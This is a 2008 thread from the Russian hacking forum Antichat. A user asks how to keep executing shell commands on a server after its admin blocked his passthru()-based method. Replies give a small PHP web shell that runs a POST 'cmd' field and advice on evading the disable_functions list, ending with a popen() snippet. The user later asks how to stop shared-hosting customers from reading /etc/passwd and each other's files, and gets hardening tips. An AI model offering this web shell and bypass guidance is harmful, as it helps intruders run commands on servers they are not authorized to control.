Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Выполнить команду на сервере (https://forum.antichat.xyz/showthread.php?t=92032)

n0153r 16.11.2008 12:00

Выполнить команду на сервере
 
Всем привет. Возник вопросик.
Раньше на сервере выполнял команды таким методом :

$result = passthru($_POST['cmmd']);

Теперь админ пофиксил :( как еще можно выполнить ?
OS : FreeBSD 6.3
PHP : 5.2.6

Зарание спасибо.

Pashkela 16.11.2008 15:04

Непонятно, как пофиксил:

if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -la"; }
echo "".passthru($_POST['cmd'])."";

Тебе останется написать только html форму для скрипта

ну и:

http://ru2.php.net/passthru

Цитата:

The passthru() function is similar to the exec() function in that it executes a command . This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. A common use for this is to execute something like the pbmplus utilities that can output an image stream directly. By setting the Content-type to image/gif and then calling a pbmplus program to output a gif, you can create PHP scripts that output images directly.

otmorozok428 16.11.2008 16:06

Сперва выясни в чём заключался фикс. Было ли это запрещение одной или нескольких функций, или же на сервере включили safe_mode. Выполни phpinfo() и посмотри строчку disable_functions. Если там запрещена только функция passthru() - юзай system() или exec().

Так же обрати внимание на значение параметра safe_mode, если установлен в On, значит на сервере врубили Safe Mode - пробуй заюзать какой-либо из способов обхода Safe Mode. Инфы по этой теме дофига на том же Античате.

Даже если не удастся использовать ничего из вышеперечисленного, всё равно остаётся возможность производить какие-то действия средствами чистого PHP (без использования функций операционной системы), например просмотр содержимого каталогов, просмотр , редактирование или создание файлов и т.д.

n0153r 16.11.2008 18:39

disable_functions :
Цитата:

rmdir, readfile, exec, system, passthru, escapeshellcmd, shell_exec, chmodopendir, readdir, closedir, dir, diskfreespace, disk_free_space, getattr, domxml_get_attribute, ini_alter, ini_set, root, domxml_root
safe_mode Off

Что можно сделать в таком случае ???

otmorozok428 16.11.2008 19:41

Попробуй заюзать popen(). Вот как-то так:
PHP код:

<?php
$handle 
popen("uname -a""r");
$read fread($handle2096);
echo 
$read;
?>


n0153r 17.11.2008 14:29

Теперь вопрос к админам!
Как можно зашитить свой сервер ?
Такая ситуация :
Есть хостинг на котором 50 сайтов. Каждый может выполнить
ls /home
cat /etc/passwd
лазить по сайтам других клиентов.

Как можно ограничить выполнения команд пользовательом ???
Что-бы он немог выйти за свою директорию.
Спасибо большое.

$n@ke 17.11.2008 14:46

open basedir ./
safe_mode On

ман по пхп.ини тебе в руки.Если ты про выполнение из пхп скриптов.Иначе- запретить доступ по ссш =)))

otmorozok428 17.11.2008 17:30

А сверху накати что-нибудь типа Suhoshin и будет тебе счастье :)

GuD-ok 17.11.2008 18:13

Перекомпилить PHP без exec(); и т.п. и поднять ssh шелл, ну собсно тоже подправленный(можно даже без cd, vim и т.п.).


Время: 20:23